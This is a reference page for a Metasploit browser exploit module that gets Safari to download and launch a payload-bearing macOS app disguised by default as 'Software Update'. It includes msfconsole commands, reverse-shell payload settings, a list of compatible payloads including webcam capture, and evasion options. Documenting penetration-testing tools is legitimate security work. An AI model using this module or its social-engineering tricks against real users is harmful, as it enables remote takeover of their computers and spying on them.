Safari User-Assisted Download and Run Attack - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/safari_user_assisted_download_launch metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari User-Assisted Download and Run Attack
Module: exploit/osx/browser/safari_user_assisted_download_launch
Source code: modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
Disclosure date: 2014-03-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module abuses some Safari functionality to force the download of a zipped .app OSX application containing our payload. The app is then invoked using a custom URL scheme. At this point, the user is presented with Gatekeeper's prompt: "APP_NAME" is an application downloaded from the internet. Are you sure you want to open it? If the user clicks "Open", the app and its payload are executed. If the user has the "Only allow applications downloaded from Mac App Store and identified developers (on by default on OS 10.8+), the user will see an error dialog containing "can't be opened because it is from an unidentified developer." To work around this issue, you will need to manually build and sign an OSX app containing your payload with a custom URL handler called "openurl". You can put newlines and unicode in your APP_NAME, although you must be careful not to create a prompt that is too tall, or the user will not be able to click the buttons, and will have to either logout or kill the CoreServicesUIAgent process.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/safari_user_assisted_download_launch
msf exploit(safari_user_assisted_download_launch) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN safari_user_assisted_download_launch
INCLUDE_PATTERN => safari_user_assisted_download_launch
msf auxiliary(browser_autopwn2) > exploit
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Msfconsole Usage
Here is how the osx/browser/safari_user_assisted_download_launch exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/safari_user_assisted_download_launch
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show info
Name: Safari User-Assisted Download and Run Attack
Module: exploit/osx/browser/safari_user_assisted_download_launch
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2014-03-10
Provided by:
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Mac OS X x86 (Native Payload)
1 Mac OS X x64 (Native Payload)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
APP_NAME Software Update no The name of the app to display
CONFUSE false no Pops up a million Terminal prompts to confuse the user
CONTENT Redirecting, please wait... no Content to display in browser
DELAY 2500 no Number of milliseconds to wait before trying to open
LOOP true no Continually display prompt until app is run
LOOP_DELAY 3000 no Time to wait before trying to launch again
Retries true no Allow the browser to retry the module
SIGNED_APP no A signed .app to drop, to workaround OS 10.8+ settings
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module abuses some Safari functionality to force the download
of a zipped .app OSX application containing our payload. The app is
then invoked using a custom URL scheme. At this point, the user is
presented with Gatekeeper's prompt: "APP_NAME" is an application
downloaded from the internet. Are you sure you want to open it? If
the user clicks "Open", the app and its payload are executed. If the
user has the "Only allow applications downloaded from Mac App Store
and identified developers (on by default on OS 10.8+), the user will
see an error dialog containing "can't be opened because it is from
an unidentified developer." To work around this issue, you will need
to manually build and sign an OSX app containing your payload with a
custom URL handler called "openurl". You can put newlines and
unicode in your APP_NAME, although you must be careful not to create
a prompt that is too tall, or the user will not be able to click the
buttons, and will have to either logout or kill the
CoreServicesUIAgent process.
Module Options
This is a complete list of options available in the osx/browser/safari_user_assisted_download_launch exploit:
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show options
Module options (exploit/osx/browser/safari_user_assisted_download_launch):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_NAME Software Update no The name of the app to display
CONFUSE false no Pops up a million Terminal prompts to confuse the user
CONTENT Redirecting, please wait... no Content to display in browser
DELAY 2500 no Number of milliseconds to wait before trying to open
LOOP true no Continually display prompt until app is run
LOOP_DELAY 3000 no Time to wait before trying to launch again
Retries true no Allow the browser to retry the module
SIGNED_APP no A signed .app to drop, to workaround OS 10.8+ settings
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X x86 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/safari_user_assisted_download_launch exploit:
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show advanced
Module advanced options (exploit/osx/browser/safari_user_assisted_download_launch):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
CookieExpiration no Cookie expiration in years (blank=expire on exit)
CookieName __ua no The name of the tracking cookie
Custom404 no An external custom 404 URL (Example: http://example.com/404.html)
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/safari_user_assisted_download_launch module can exploit:
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X x86 (Native Payload)
1 Mac OS X x64 (Native Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_user_assisted_download_launch exploit:
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/osx/x86/bundleinject/bind_tcp normal No Mac OS X Inject Mach-O Bundle, Bind TCP Stager
6 payload/osx/x86/bundleinject/reverse_tcp normal No Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
7 payload/osx/x86/exec normal No OS X Execute Command
8 payload/osx/x86/isight/bind_tcp normal No Mac OS X x86 iSight Photo Capture, Bind TCP Stager
9 payload/osx/x86/isight/reverse_tcp normal No Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
10 payload/osx/x86/shell_bind_tcp normal No OS X Command Shell, Bind TCP Inline
11 payload/osx/x86/shell_reverse_tcp normal No OS X Command Shell, Reverse TCP Inline
12 payload/osx/x86/vforkshell/bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Stager
13 payload/osx/x86/vforkshell/reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Stager
14 payload/osx/x86/vforkshell_bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Inline
15 payload/osx/x86/vforkshell_reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/safari_user_assisted_download_launch exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/safari_user_assisted_download_launch) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
can't be opened because it is from an unidentified
Here is a relevant code snippet related to the "can't be opened because it is from an unidentified" error message:
25:
26: If the user clicks "Open", the app and its payload are executed.
27:
28: If the user has the "Only allow applications downloaded from Mac App Store
29: and identified developers (on by default on OS 10.8+), the user will see
30: an error dialog containing "can't be opened because it is from an unidentified
31: developer." To work around this issue, you will need to manually build and sign
32: an OSX app containing your payload with a custom URL handler called "openurl".
33:
34: You can put newlines and unicode in your APP_NAME, although you must be careful not
35: to create a prompt that is too tall, or the user will not be able to click
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3082 Merged Pull Request: Release fixes
- #3065 Merged Pull Request: Safari user-assisted download launch module
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See Also
Check also the following modules related to this module:
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/software_update
- auxiliary/gather/safari_file_url_navigation
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/windows/fileformat/foxit_reader_launch
- auxiliary/admin/aws/aws_launch_instances
- auxiliary/server/android_browsable_msf_launch
- exploit/windows/browser/keyhelp_launchtripane_exec
- exploit/windows/fileformat/nuance_pdf_launch_overflow
- exploit/windows/local/ipass_launch_app
- exploit/linux/browser/adobe_flashplayer_aslaunch
- exploit/windows/browser/zenworks_helplauncher_exec
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
- exploit/osx/ftp/webstar_ftp_user
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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